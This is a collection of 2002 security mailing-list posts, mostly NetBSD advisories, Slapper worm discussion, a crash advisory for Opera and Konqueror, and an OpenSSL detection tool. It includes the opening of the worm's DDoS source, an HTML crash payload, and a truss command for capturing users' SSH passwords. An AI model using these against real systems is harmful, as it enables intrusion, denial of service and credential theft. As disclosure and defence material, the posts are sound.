Re: Bypassing SMTP Content Protection with a Flick of a Button
It turns out that this isn't new. I forwarded the note to Ned Freed, one of the authors of RFC 2046. He showed it to Kristin Hubner, who found the following text from the manual on using PMDF in a firewall that she had written in 1996: Note that when you are using the conversion channel to check message parts on the PMDF firewall system, you are likely to want the defragment channel keyword on outgoing channels, particularly channels that send to internal systems. The MIME format allows for messages to be split into multiple pieces, which are normally not reassembled until arrival at the final destination system. However, if you want the intermediate PMDF firewall system to check the message content, you will want to reassemble the message parts on the PMDF firewall system, so that the message content (rather than message content fragments) can be checked. --Steve Bellovin, http://www.research.att.com/~smb (me) http://www.wilyhacker.com (Firewalls book)
Bug in Opera and Konqueror
Read the attached advisory. -- WBR, Zeux. Origin: I say evolve, let the chips fall where they may. --- Zeux[EMAIL PROTECTED] from sp00fed packet Mail: [EMAIL PROTECTED] [EMAIL PROTECTED] [EMAIL PROTECTED] /+--+-\ | sp00fed packet | | advisory #2 | ++--+-+ | Product: multiply vendors browsers | | Vulnerability: buffer overflow | | Danger: low | \-/ ::Description:: Sample HTML-code to crash browsers: img src=blank.gif width=32759 height=132750 blank.gif must be a working image. Its size can be about 2 kb. Why width is 32759? It's the highest value Opera 6.01 allows for width. Height can be very big (maybe there are limits for height in Opera, but I don't have such information). The target is to generate buffer overflow by asking browser to display scaled image with very big scale. Opera crashes in 1-2 seconds (and displays error message in the console: /usr/bin/opera: line 72: 17445 Segmentation fault $OPERA $@), Konqueror first loads system very much, then produces SIGSEGV. The tested versions are showed below. The version of Opera was recent at the time of finding the bug, so (I think) the version is present in all earlier versions. My version of Konqueror is out of date, and I do not have the recent release of it, so I will be glad if somebody tests this vulnerability and reports me the results. In reality (as I think), the bug in Opera is present because of the bug in QImage (image engine), used in Opera to display images. ::Vulnerable:: [vulnerable] Opera v6.01 build 175 for Linux [vulnerable] Konqueror v2.1.1 ::Vendor:: Opera, Inc was informed 7 days ago. Answer was not received KDE Development Group was informed 7 days ago. Answer: From [EMAIL PROTECTED] Sun Sep 8 00:33:00 2002 From [EMAIL PROTECTED] Sun Sep 08 00:33:02 2002 Envelope-to: [EMAIL PROTECTED] Delivery-date: Sun, 08 Sep 2002 00:33:02 +0400 Received: from drweb by mx5.mail.ru with drweb-scanned (Exim MX.5) id 17nmGM-DA-00 for [EMAIL PROTECTED]; Sun, 08 Sep 2002 00:33:02 +0400 Received: from [131.246.103.200] (helo=ktown.kde.org) by mx5.mail.ru with smtp (Exim MX.5) id 17nmGL-CP-00 for [EMAIL PROTECTED]; Sun, 08 Sep 2002 00:33:01 +0400 Received: (qmail 22134 invoked by uid 1003); 7 Sep 2002 20:33:00 - Date: 7 Sep 2002 20:33:00 - From: [EMAIL PROTECTED] (Stephan Kulow) To: [EMAIL PROTECTED] Subject: Bug#47456 acknowledged by developer (Konqueror bug) References: [EMAIL PROTECTED] [EMAIL PROTECTED] In-Reply-To: [EMAIL PROTECTED] Message-ID: [EMAIL PROTECTED] X-Envelope-To: [EMAIL PROTECTED] Content-Type: Status: RO X-Status: O Your report has been marked as closed by one of the developers, namely Stephan Binner [EMAIL PROTECTED]. The report is about a very old version of the software. Many improvements have been made and many bugs have been fixed in the meanwhile. Given the huge number of bug reports we receive, we are no longer investigating bug reports for this version of the software. Please upgrade to the latest official release. If you find your problem still persisting, then we were unable to reproduce it and you might need to provide more details on your setup that may make the diffrence. Thanks in advance. If you are pretty sure that something went wrong, please contact Stephan Binner [EMAIL PROTECTED] directly. Stephan Kulow (administrator, KDE bugs database) The creators of the packet did not even check the presence of this vulnerability on the new browser, so I ask you to check it on the Konqueror from KDE3. ::Contacts:: [http://www.sp00fed.ru/] sp00fed packet [[EMAIL PROTECTED]] Zeux (it's me ;) [[EMAIL PROTECTED]] Spikir (team coordinator)
OpenSSH 3.4p1 Privsep
During authentication, OpenSSH 3.4p1 with privsep enabled passes the cleartext password from the main process to the privsep child using a pipe. Using strace or truss, root can see the user's plaintext password flying by. I observed this behavior from OpenSSH 3.4p1 built using GCC on Solaris 2.8 and the current Debian OpenSSH 3.4p1 package. Theo and Markus tell me that this is not an issue. Theo says that you cannot prevent root from determining a user's password. I don't disagree, but asked why OpenBSD bothers to encrypt user passwords at all if that is his attitude. The level of effort to determine cleartext passwords, for even the most inexperienced Unix administrator, is almost zero given the above. I realize that no matter how you slice it, it will be possible for root to grab the password from wherever it's stored in memory. Or recompile sshd to log the password, or any number of other ways. However, the methods I just mentioned all require someone with significantly more know how than: truss -fp `cat /var/run/sshd.pid` I'm not saying this is a bug, rather I thought it worthwhile to share with the community and let you all come to your own conclusions. Andrew
RE: bugtraq.c httpd apache ssl attack
The worm is an AGENT, because it accepts commands throughout the global P2P network created ad-hoc between its instances. One of such commands is 'execute local command on target' (see source, command code: 0x24) and this thing can be used to terminate the worm instantly, by injecting the command 'killall .bugtraq' in the P2P network. The worm's instances will self destruct in this way. I am puzzled that anyone did not thought of that... All my best, Sandu Mihai - KPNQwest Romania Network Engineer -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: 13 September 2002 21:51 To: [EMAIL PROTECTED] Subject: Re: bugtraq.c httpd apache ssl attack Wouldn't it be easier to create a blank /tmp/.bugtraq.c file, chmod 000, owned by root? On Fri, 13 Sep 2002, The Little Prince wrote: too easy to chmod 700 gcc to lock it to root? obviously not as a TOTAL fix -Tony .-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-. Anthony J. BiaccoNetwork Administrator/Engineer [EMAIL PROTECTED] http://www.asteroid-b612.org Every day should be a good day to die -DJM .-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-. On 13 Sep 2002, Fernando Nunes wrote: I am using RedHat 7.3 with Apache 1.3.23. Someone used the program bugtraq.c to explore an modSSL buffer overflow to get access to a shell. The attack creates a file named /tmp/.bugtraq.c and compiles it using gcc. The program is started with another computer ip address as argument. All computer files that the user apache can read are exposed. The program attacks the following Linux distributions: Red-Hat: Apache 1.3.6,1.3.9,1.3.12,1.3.19,1.3.20,1.3.22,1.3.23,1.3.26 SuSe: Apache 1.3.12,1.3.17,1.3.19,1.3.20,1.3.23 Mandrake: 1.3.14,1.3.19 Slakware: Apache 1.3.26 Regards Fernando Nunes Portugal -- .-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-. Anthony J. BiaccoNetwork Administrator/Engineer [EMAIL PROTECTED] http://www.asteroid-b612.org Every day should be a good day to die -DJM .-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
Re: Linux Slapper Worm code
John Scimone wrote:
Haven't seen this posted yet so figured some people might be interested, even
though thousands of computers have already had the exploit delivered to their
doorstep. heh the kiddies are gonna love this one.
-sert
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
I think John forgot the attachment. This code was found in the wild so
if you don't like me posting this get over it. Its not like it wouldn't
eventually find its way into /tmp on a few of your boxes.
-KF
/
* *
* Peer-to-peer UDP Distributed Denial of Service (PUD) *
* by contem@efnet *
* *
* Virtually connects computers via the udp protocol on the *
* specified port. Uses a newly created peer-to-peer protocol that*
* incorperates uses on unstable or dead computers. The program is*
* ran with the parameters of another ip on the virtual network. If *
* running on the first computer, run with the ip 127.0.0.1 or some*
* other type of local address. Ex: *
* *
* Computer A: ./program 127.0.0.1 *
* Computer B: ./program Computer_A *
* Computer C: ./program Computer_A *
* Computer D: ./program Computer_C *
* *
* Any form of that will work. The linking process works by*
* giving each computer the list of avaliable computers, then *
* using a technique called broadcast segmentation combined with TCP *
* like functionality to insure that another computer on the network *
* receives the broadcast packet, segments it again and recreates *
* the packet to send to other hosts. That technique can be used to *
* support over 16 million simutaniously connected computers. *
* *
* Thanks to ensane and st for donating shells and test beds*
* for this program. And for the admins who removed me because I *
* was testing this program (you know who you are) need to watch *
* their backs.*
* *
* I am not responsible for any harm caused by this program!*
* I made this program to demonstrate peer-to-peer communication and *
* should not be used in real life. It is an education program that *
* should never even be ran at all, nor used in any way, shape or *
* form. It is not the authors fault if it was used for any purposes *
* other than educational. *
* *
/
#include stdio.h
#include unistd.h
#include string.h
#include fcntl.h
#include stdlib.h
#include stdarg.h
#include sys/ioctl.h
#include sys/types.h
#include sys/socket.h
#include netinet/in.h
#include sys/time.h
#include unistd.h
#include errno.h
#include netdb.h
#include arpa/telnet.h
#include sys/wait.h
#include signal.h
#define SCAN
#undef LARGE_NET
#undef FREEBSD
#define BROADCASTS 2
#define LINKS 128
#define CLIENTS 128
#define PORT2002
#define SCANPORT80
#define SCANTIMEOUT 5
#define MAXPATH 4096
#define ESCANPORT 10100
#define VERSION 12092002
//
// Macros //
//
#define FREE(x) {if (x) { free(x);x=NULL; }}
enum { TCP_PENDING=1, TCP_CONNECTED=2, SOCKS_REPLY=3 };
enum { ASUCCESS=0, ARESOLVE, ACONNECT, ASOCKET, ABIND, AINUSE, APENDING, AINSTANCE,
AUNKNOWN };
enum { AREAD=1, AWRITE=2, AEXCEPT=4 };
//
// Packet headers //
//
struct llheader {
char type;
NetBSD Security Advisory 2002-012: buffer overrun in setlocale
-BEGIN PGP SIGNED MESSAGE-
NetBSD Security Advisory 2002-012
=
Topic: buffer overrun in setlocale
Severity: local root exploit if X11 (xterm) is installed.
Version:NetBSD-current: source prior to August 8, 2002
NetBSD-1.6 beta:source prior to August 8, 2002
NetBSD-1.5.3: affected
NetBSD-1.5.2: affected
NetBSD-1.5.1: affected
NetBSD-1.5: affected
NetBSD-1.4.*: affected
All prior NetBSD releases.
Fixed: NetBSD-current: August 8, 2002
NetBSD-1.6 branch: August 8, 2002 (1.6 includes the fix)
NetBSD-1.5 branch: September 5, 2002
NetBSD-1.4 branch: not yet
Abstract
There was a boundary checking bug of array suffix in setlocale()
function in libc. If the setlocale() function is used with arguments
satisfying a specific condition (see below), there is a possibility
that this could be exploitable. This condition is as the following:
1. setlocale() function is called for LC_ALL category and
2. The string pointed to by the second argument of setlocale contains
over six elements separated by slash. An example of string causing
this problem to setlocale() is C/C/C/C/C/C/C. (note that the
frequently used special form, setlocale(LC_ALL, ), does not cause
this problem, since the code having this problem is never executed
in this case.)
3. To use this bug to exploit, the second argument of setlocale needs
to be derived from user-given data (e.g. environment variables or
command line arguments) and the program need to be setuid or
need to be involved in some setuid program or daemon.
Most programs using Xt, including xterm (setuid program), may satisfy
this condition. All other programs in NetBSD distribution except for
packages do not satisfy it. In packages, zsh is one of the most
important program that may satisfy this condition.
Technical Details
=
The setlocale (or its subcontractor, __setlocale) function, defined in
lib/libc/locale/setlocale.c, is used to change the locale of each
locale category. setlocale() function switches the locale of the
category specified by the first argument to the second argument. The
special category LC_ALL can be used to change all locale categories at
the same time. In this case, the NetBSD implementation of setlocale
allows a special form of the second argument string to specify
individual locales per category.
In this form, each locale is given in a single string separated by
slashes ('/'), as A/B/C/D/E/F. Here, each element corresponds to
categories LC_COLLATE, LC_CTYPE, LC_MONETARY, LC_NUMERIC, LC_TIME and
LC_MESSAGES, respectively. The setlocale() function attempts to
decomposit these elements into an array object named new_categories
locally defined in lib/libc/locale/setlocale.c. However, the code to
check the array boundary was lacking and thus this decomposition code
could destroy data segment if a string having over six elements was
given.
If the program which has set[ug]id bit or which is called from
set[ug]id program calls setlocale() with LC_ALL as the first argument
and with the string derived from user-given data
(e.g. setlocale(LC_ALL, getenv(FOO)) ) as the second argument, then
such program could be exploitable. DefaultLanguageProc function of X
Toolkit Intrinsics (Xt) is a example of such usage. DefaultLanguageProc
calls setlocale as setlocale(LC_ALL, xnl). Here, xnl variable is
null string () by default, but can be overriden by user via
- -xnllanguage option. Most Xt programs, including xterm, use this
language procedure. xterm is a setuid root program and thus any local
user could illegally acquire root account by using this problem.
On the other hand, the frequently used special form,
setlocale(LC_ALL, ), does not have this problem because the decomposition
code is never executed in this form, although user-given LC_ALL environment
variable is similarly referred.
Solutions and Workarounds
=
The recent NetBSD 1.6 release is not vulnerable to this issue. A full
upgrade to NetBSD 1.6 is the recommended resolution for all users able
to do so. Many security-related improvements have been made, and
indeed this release has been delayed several times in order to include
fixes for a number of recent issues.
Otherwise, you must update libc. Also, you must update all statically
linked binaries satisfying the condition above - although the NetBSD
distribution contains no such static binaries, you may have some from
pkgsrc packages or local programs. The following instructions
describe how to update libc.
* NetBSD-current:
Systems running NetBSD-current dated from before 2002-08-08
should be upgraded to NetBSD-current dated 2002-08-08 or later.
Remote detection of vulnerable OpenSSL versions
Remote detection of vulnerable OpenSSL versions RUS-CERT has developed a tool to remotely detect vulnerable OpenSSL implementations. Why is such a tool required? While the Slapper worm is spreading, many system administrators ask themselves whether their systems are vulnerable. Even if you apply vendor patches regularly, there are some risks which are hard to deal with: * Vendors might use OpenSSL to implement SSL services, but do not publicize it. Consequently, administrators might not know that they need to update. * Human error might leave systems vulnerable (e.g. people forget to restart services after applying patches, or are distracted by phone calls and miss a machine). * Other SSL implementations might have similar bugs. * Vendor upgrades often do not alter the version number, and their is no easy way to check if a patched version is running. * Vendor patches sometimes do not eliminate the vulnerability. As a result, full disclosure is essential; it makes independent regression testing possible. How does it work? It is difficult to tell OpenSSL 0.9.6e from vulnerable versions because the OpenSSL developers chose to terminate the process if a buffer overflow attempt is detected. Over the network, a crash due to a buffer overflow and an abrupt, but deliberate process termination look the same: in both cases, the TCP connection breaks down. At first glance, it appears that we are out of luck and cannot detect vulnerable versions. However, if we overrun the buffer by only a few bytes, the vulnerable version (without check) does not crash. This way, we can tell 0.9.6e from previous, vulnerable versions: small overflow large overflow pre-0.9.6eno crashcrash 0.9.6e crash crash 0.9.6g error error (0.9.6g signals an SSL error over the network, as one would expect.) Other combinations are possible, of course, and this program tries to flag them in a reasonable way. (We consider malformed responses an indication of lack of care, and a potential security problem.) This program performs a third connection attempt (actually the first one), to test compatibility of the the SSL implementations. Obtaining and running the tool You can download a copy of the C source code here: http://CERT.Uni-Stuttgart.DE/advisories/openssl-sslv2-master/openssl-sslv2-master.c Compiling this program requires an OpenSSL development environment (including header files). You have to link this program with OpenSSL's crypto library (using -lcrypto, not -lcrypt). On some systems, you have to link with -ldl, too. After compilation, you can run this program using: $ ./openssl-sslv2-master [-s] host-IP [port] Then a test is performed against host-IP (an IP address in dotted-quad notation) and the TCP service running on port (a decimal number). port can be omitted, then the default port 443 is assumed. Note: You can use this program to test any SSL Version 2.0 server, not just HTTPS servers. For some services, a STARTTLS message is required to initiate the SSL handshake (e.g. SMTP, POP3, IMAP). This message is sent if you supply the -s option. Risks and limitations The server could crash (when the large buffer overflow is attempted), and fail to restart automatically. The program detects this, but obviously cannot undo any damage. If the server which is being tested does not support SSLv2, it often reacts in a strange way. The SSL protocol does not define a clear rejection message, so no proper diagnosis is return by the tool in such cases. To determine the cause of a handshake failure, you should use a full SSL/TLS implementation, such as openssl s_client. Credits This program was inspired by the source code of the Slapper worm. Thanks to Helmut Springer for testing and spotting a few bugs. About RUS-CERT RUS-CERT http://CERT.Uni-Stuttgart.DE/ is the Computer Emergency Response Team located at the Computing Center (RUS) of the University of Stuttgart, Germany. URL of the current version of this document: http://cert.uni-stuttgart.de/advisories/openssl-sslv2-master.php -- Florian Weimer[EMAIL PROTECTED] University of Stuttgart http://CERT.Uni-Stuttgart.DE/people/fw/ RUS-CERT fax +49-711-685-5898
NetBSD Security Advisory 2002-017: shutdown(s, SHUT_RD) on TCP socket does not work as intended
-BEGIN PGP SIGNED MESSAGE- NetBSD Security Advisory 2002-017 = Topic: shutdown(s, SHUT_RD) on TCP socket does not work as intended Version:NetBSD-current: source prior to September 7, 2002 NetBSD 1.6 beta: affected NetBSD-1.5.3:affected NetBSD-1.5.2:affected NetBSD-1.5.1:affected NetBSD-1.5: affected NetBSD-1.4.*:affected Severity: Unexpected kernel memory consumption Fixed: NetBSD-current: September 7, 2002 NetBSD-1.6 branch: September 7, 2002 (1.6 includes the fix) NetBSD-1.5 branch: September 7, 2002 NetBSD-1.4 branch: not yet Abstract shutdown(s, SHUT_RD) is used to indicate that there should be no inbound traffic expected on the socket. There was mistake in TCP with respect to the handling of shutdown'ed socket, leading to unexpected kernel resource consumption and unexpected behavior. Technical Details = Some of sbappend() calls from sys/netinet/tcp_input.c did not consult SS_CANTRCVMORE flag on socket properly. http://www.NetBSD.org/cgi-bin/query-pr-single.pl?number=18185 Solutions and Workarounds = The recent NetBSD 1.6 release is not vulnerable to this issue. A full upgrade to NetBSD 1.6 is the recommended resolution for all users able to do so. Many security-related improvements have been made, and indeed this release has been delayed several times in order to include fixes for a number of recent issues. The following instructions describe how to upgrade your kernel by updating your source tree and rebuilding and installing a new version of kernel. * NetBSD-current: Systems running NetBSD-current dated from before 2002-09-06 should be upgraded to NetBSD-current dated 2002-09-06 or later. The following directories need to be updated from the netbsd-current CVS branch (aka HEAD): sys/netinet To update from CVS, re-build, re-install kernel and reboot: # cd src # cvs update -d -P sys/netinet Configure, compile, install and boot a new kernel according to the instructions at: http://www.netbsd.org/Documentation/kernel/#building_a_kernel * NetBSD 1.6 beta: Systems running NetBSD 1.6 BETAs and Release Candidates should be upgraded to the NetBSD 1.6 release. If a source-based point upgrade is required, sources from the NetBSD 1.6 branch dated 2002-09-06 or later should be used. The following directories need to be updated from the netbsd-1-6 CVS branch: sys/netinet To update from CVS, re-build, re-install kernel and reboot: # cd src # cvs update -d -P -r netbsd-1-6 sys/netinet Configure, compile, install and boot a new kernel according to the instructions at: http://www.netbsd.org/Documentation/kernel/#building_a_kernel * NetBSD 1.5, 1.5.1, 1.5.2, 1.5.3: Systems running NetBSD 1.5, 1.5.1, 1.5.2, or 1.5.3 sources dated from before 2002-09-06 should be upgraded from NetBSD 1.5.* sources dated 2002-09-06 or later. NetBSD 1.5.4 will be shipped with fixes. The following directories need to be updated from the netbsd-1-5 CVS branch: sys/netinet To update from CVS, re-build, re-install kernel and reboot: # cd src # cvs update -d -P -r netbsd-1-5 sys/netinet Configure, compile, install and boot a new kernel according to the instructions at: http://www.netbsd.org/Documentation/kernel/#building_a_kernel * NetBSD 1.4, 1.4.1, 1.4.2, 1.4.3: The advisory will be updated to include instructions to remedy this problem for systems running the NetBSD-1.4 branch. Thanks To = Sean Boudreau The NetBSD Release Engineering teams, for great patience and assistance in dealing with repeated security issues discovered recently. Revision History 2002-09-16 Initial release More Information Advisories may be updated as new information comes to hand. The most recent version of this advisory (PGP signed) can be found at ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2002-017.txt.asc Information about NetBSD and NetBSD security can be found at http://www.NetBSD.ORG/ and http://www.NetBSD.ORG/Security/. Copyright 2002, The NetBSD Foundation, Inc. All Rights Reserved. $NetBSD: NetBSD-SA2002-017.txt,v 1.9 2002/09/16 05:17:55 dan Exp $ -BEGIN PGP SIGNATURE- Version: 2.6.3ia Charset: noconv iQCVAwUBPYVqej5Ru2/4N2IFAQFXFQP/TgE2w4hDKtWeccyjBSYEYPji7hgu/IPK
NetBSD Security Advisory 2002-014: fd_set overrun in mbone tools and pppd
-BEGIN PGP SIGNED MESSAGE- NetBSD Security Advisory 2002-014 = Topic: fd_set overrun in mbone tools and pppd Version:NetBSD-current: source prior to August 10, 2002 NetBSD 1.6 beta: sources prior to August 11, 2002 NetBSD-1.5.3: affected NetBSD-1.5.2: affected NetBSD-1.5.1: affected NetBSD-1.5: affected NetBSD-1.4.*: affected Severity: possible local root compromise Fixed: NetBSD-current: August 10, 2002 NetBSD-1.6 branch: August 11, 2002 (1.6 includes the fix) NetBSD-1.5 branch: September 5, 2002 NetBSD-1.4 branch: not yet Abstract The IPv4 multicast-related tools mrinfo(1) and mtrace(1), and the PPP daemon pppd(8), are setuid root binaries. A malicious local user can cause a buffer overrun in these programs by filling file descriptor tables before exec'ing them, which could lead to local root compromise. No exploit code is known to exist at this moment. Technical Details = These tools use select(2). select(2) uses fd_set bitmap, which supports up to FD_SETSIZE (256) file descriptors. These tools did not have a boundary check when doing FD_SET() operations. Therefore, if the file descriptor used for select(2) equals to or exceeds FD_SETSIZE, a buffer overrun occurs. More details are in the NetBSD-current select(2) manpage BUGS section: Although the provision of getdtablesize(3) was intended to allow user programs to be written independent of the kernel limit on the number of open files, the dimension of a sufficiently large bit field for select remains a problem. The default bit size of fd_set is based on the symbol FD_SETSIZE (currently 256), but that is somewhat smaller than the current kernel limit to the number of open files. However, in order to accommo- date programs which might potentially use a larger number of open files with select, it is possible to increase this size within a program by providing a larger definition of FD_SETSIZE before the inclusion of sys/types.h. The kernel will cope, and the userland libraries provided with the system are also ready for large numbers of file descriptors. Solutions and Workarounds = If you do not run, and do not plan to use, multicast-related tools or pppd, the problem can be worked around by removing the setuid bit from those binaries. Users can therefore no longer escalate their privileges by exploiting the bug: # chmod u-s /usr/sbin/mrinfo /usr/sbin/mtrace /usr/sbin/pppd Nevertheless, we suggest upgrading these binaries to make sure you don't have vulnerable code in your system. The recent NetBSD 1.6 release is not vulnerable to this issue. A full upgrade to NetBSD 1.6 is the recommended resolution for all users able to do so. Many security-related improvements have been made, and indeed this release has been delayed several times in order to include fixes for a number of recent issues. Otherwise, the following instructions describe how to upgrade your binaries by updating your source tree and rebuilding and installing a new version. * NetBSD-current: Systems running NetBSD-current dated from before 2002-08-10 should be upgraded to NetBSD-current dated 2002-08-10 or later. The following directories need to be updated from the netbsd-current CVS branch (aka HEAD): usr.sbin/mrinfo usr.sbin/mtrace usr.sbin/pppd To update from CVS, re-build, and re-install mrinfo and mtrace: # cd src # cvs update -dP usr.sbin/mrinfo usr.sbin/mtrace usr.sbin/pppd # cd usr.sbin/mrinfo # make cleandir dependall # make install # cd usr.sbin/mtrace # make cleandir dependall # make install # cd usr.sbin/pppd # make cleandir dependall # make install * NetBSD 1.6 beta: Systems running NetBSD 1.6 BETAs and Release Candidates should be upgraded to the NetBSD 1.6 release. If a source-based point upgrade is required, sources from the NetBSD 1.6 branch dated 2002-08-11 or later should be used. The following directories need to be updated from the netbsd-1-6 CVS branch: usr.sbin/mrinfo usr.sbin/mtrace usr.sbin/pppd To update from CVS, re-build, and re-install mrinfo and mtrace: # cd src # cvs update -d -P -r netbsd-1-6 \ usr.sbin/mrinfo usr.sbin/mtrace usr.sbin/pppd # cd usr.sbin/mrinfo # make cleandir dependall
Multiple NetBSD Security Advisories Released/Updated
-BEGIN PGP SIGNED MESSAGE- With the release of NetBSD 1.6, the NetBSD project is publishing a batch of Security Advisories (some of which are updates), as follows: * 2002-006buffer overrun in libc/libresolv DNS resolver x 2002-007Repeated TIOCSCTTY ioctl can corrupt session hold counts *x 2002-009Multiple vulnerabilities in OpenSSL code *x 2002-010symlink race in pppd *x 2002-011Sun RPC XDR decoder contains buffer overflow x 2002-012buffer overrun in setlocale x 2002-013Bug in NFS server code allows remote denial of service x 2002-014fd_set overrun in mbone tools and pppd x 2002-017shutdown(s, SHUT_RD) on TCP socket does not work as intended x+ 2002-018Multiple security isses with kfd daemon (*) reissue (x) affects 1.5.3 (+) affects 1.6 These advisories involve bugs in libc (affecting static binaries), as well as the kernel. A full system rebuild is recommended to collectively address all of these issues, but please make sure to read through all of the advisories in case specific issues affect your system. Because of the extensive rebuild required, the NetBSD 1.6 release was delayed in order to include fixes for as many of these issues as possible, so as to provide binary release users with an easy upgrade path. Readers will note that there are some gaps in the above numbering. These pending advisories involve third parties, and are awaiting disclosure co-ordination, so we cannot publish them at this time. However, they *are* fixed in NetBSD 1.6. Unfortunately, the recent 1.5.3 release was affected by most of these issues. Unlike NetBSD 1.6, the 1.5 branch cannot be automatically cross-built to release, and so any updated binary release from the 1.5 tree will take considerable time and developer effort. Therefore: * The recommended cumulative fix for pre-1.6 systems is to upgrade to NetBSD 1.6. * Users who cannot upgrade to 1.6 are recommended to update to the most recent sources on the NetBSD-1.5 branch, via anoncvs, and rebuild from there. * Users of NetBSD-current should upgrade to source more recent than September 11, 2002, and rebuild the kernel and all userland. Having updated the base NetBSD distribution via one of the above, the following steps are necessary for *all* users: * Recompile statically-linked binaries from pkgsrc, or custom builds (for 2002-006) * Remove any shared libraries with older major numbers. (2002-006) * Remove any shared libraries for OS emulation under /emul, unless you are sure it has no security vulnerabilities. (2002-006) * Follow instructions in 2002-018 -BEGIN PGP SIGNATURE- Version: 2.6.3ia Charset: noconv iQCVAwUBPYZwhj5Ru2/4N2IFAQFkQwP+OtnCO0JZ2BWi/YgaDrfU7DBZrDDsQpW7 dXW/PtVvcOyvbpqgKREQ7CHi7jzolysRHX9VRXwgOS/tgo2fSmNaLyXjdbJhxzT2 xw6LEdaqC4YHHf3EuZ3GsF0UY/VGCDNg3WNf04CfTV1Jp61VnvTTjDMmOqegMxOI /NTVURE2fV8= =YBq6 -END PGP SIGNATURE-
NetBSD Security Advisory 2002-010: symlink race in pppd
-BEGIN PGP SIGNED MESSAGE- NetBSD Security Advisory 2002-010 = Topic: symlink race in pppd Version:NetBSD-current: source prior to July 31, 2002 NetBSD-1.6 beta: affected NetBSD-1.5.3:affected NetBSD-1.5.2:affected NetBSD-1.5.1:affected NetBSD-1.5: affected NetBSD-1.4.*:affected Severity: Local user may be able to modify permissions on any file Fixed: NetBSD-current: July 31, 2002 NetBSD-1.6 branch: August 3, 2002 (NetBSD 1.6 includes the fix) NetBSD-1.5 branch: September 5, 2002 NetBSD-1.4 branch: not yet Abstract A race condition exists in the pppd program that may be exploited in order to change the permissions of an arbitrary file. A malicious local user may exploit the race condition to acquire write permissions to a critical system file, and leverage the situation to acquire escalated privileges. Technical Details = The file specified as the tty device is opened by pppd, and the permissions are recorded. If pppd fails to initialize the tty device in some way (such as a failure of tcgetattr(3)), then pppd will attempt to restore the original permissions by calling chmod(2). The call to chmod(2) is subject to a symlink race, so that the permissions may be `restored' on some other file. Solutions and Workarounds = The recent NetBSD 1.6 release is not vulnerable to this issue. A full upgrade to NetBSD 1.6 is the recommended resolution for all users able to do so. Many security-related improvements have been made, and indeed this release has been delayed several times in order to include fixes for a number of recent issues. Otherwise, the following instructions describe how to upgrade your pppd binaries by updating your source tree and rebuilding and installing a new version of pppd. * NetBSD-current: Systems running NetBSD-current dated from before 2002-07-30 should be upgraded to NetBSD-current dated 2002-07-31 or later. The following directories need to be updated from the netbsd-current CVS branch (aka HEAD): usr.sbin/pppd To update from CVS, re-build, and re-install pppd: # cd src # cvs update -d -P usr.sbin/pppd # cd usr.sbin/pppd # make cleandir dependall # make install * NetBSD 1.6 beta: Systems running NetBSD 1.6 BETAs and Release Candidates should be upgraded to the NetBSD 1.6 release. If a source-based point upgrade is required, sources from the NetBSD 1.6 branch dated 2002-08-04 or later should be used. The following directories need to be updated from the netbsd-1-6 CVS branch: usr.sbin/pppd To update from CVS, re-build, and re-install pppd: # cd src # cvs update -d -P -r netbsd-1-6 usr.sbin/pppd # cd usr.sbin/pppd # make cleandir dependall # make install * NetBSD 1.5, 1.5.1, 1.5.2, 1.5.3: Systems running NetBSD 1.5 dated from before 2002-09-05 should be upgraded to NetBSD 1.5 branch dated 2002-09-05 or later. The following directories need to be updated from the netbsd-1-5 CVS branch: usr.sbin/pppd To update from CVS, re-build, and re-install pppd: # cd src # cvs update -d -P -r netbsd-1-5 usr.sbin/pppd # cd usr.sbin/pppd # make cleandir dependall # make install * NetBSD 1.4, 1.4.1, 1.4.2, 1.4.3: The advisory will be updated to include instructions to remedy this problem for systems running the NetBSD-1.4 branch. Thanks To = Jun-ichiro itojun Hagino for patches, and preparing the advisory text. The NetBSD Release Engineering teams, for great patience and assistance in dealing with repeated security issues discovered recently. Revision History 2002-08-01 Initial release 2002-09-05 1.5 fixed 2002-09-16 Re-release with updated information More Information An up-to-date PGP signed copy of this release will be maintained at ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2002-010.txt.asc Information about NetBSD and NetBSD security can be found at http://www.NetBSD.ORG/ and http://www.NetBSD.ORG/Security/. Copyright 2002, The NetBSD Foundation, Inc. All Rights Reserved. $NetBSD: NetBSD-SA2002-010.txt,v 1.15 2002/09/16 05:17:55 dan Exp $ -BEGIN PGP SIGNATURE- Version: 2.6.3ia Charset: noconv
Re: bugtraq.c httpd apache ssl attack
Fernando Nunes wrote: I am using RedHat 7.3 with Apache 1.3.23. Someone used the program bugtraq.c to explore an modSSL buffer overflow to get access to a shell. The attack creates a file named /tmp/.bugtraq.c and compiles it using gcc. The program is started with another computer ip address as argument. All computer files that the user apache can read are exposed. The program attacks the following Linux distributions: Red-Hat: Apache 1.3.6,1.3.9,1.3.12,1.3.19,1.3.20,1.3.22,1.3.23,1.3.26 SuSe: Apache 1.3.12,1.3.17,1.3.19,1.3.20,1.3.23 Mandrake: 1.3.14,1.3.19 Slakware: Apache 1.3.26 Note that if you are using Apache 1.3.23 you are probably also vulnerable to the chunked overflow bug. If people would stay up to date with security patches, this stuff wouldn't happen. Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit. - Robert Woodruff
Re: Password Security Policy Question
At 11:36 AM 9/10/2002 -0500, L. Adrian Griffis wrote: I am aware of a company that has instituted a policy that limits a specific character in people's passwords to being a numeric character. Personally, I am confused at this policy. It seems to me that placing such a specific limit on a specific position in a password simply reduces the number of guesses that someone would have to try in a brute force attack. Does anyone out there know if there is any theoretical basis for believing that a policy to limit a specific character position in passwords to a numeric character will enhance security. If not, does anyone know how such a misunderstanding might have occurred? Adrian This is a bad idea. Ross Anderson's group did a good study on different password selection approaches: http://www.cl.cam.ac.uk/ftp/users/rja14/tr500.pdf http://www.cl.cam.ac.uk/~jy212/pro-check.pdf -Nate
NetBSD Security Advisory 2002-007: Repeated TIOCSCTTY ioctl can corrupt session hold counts
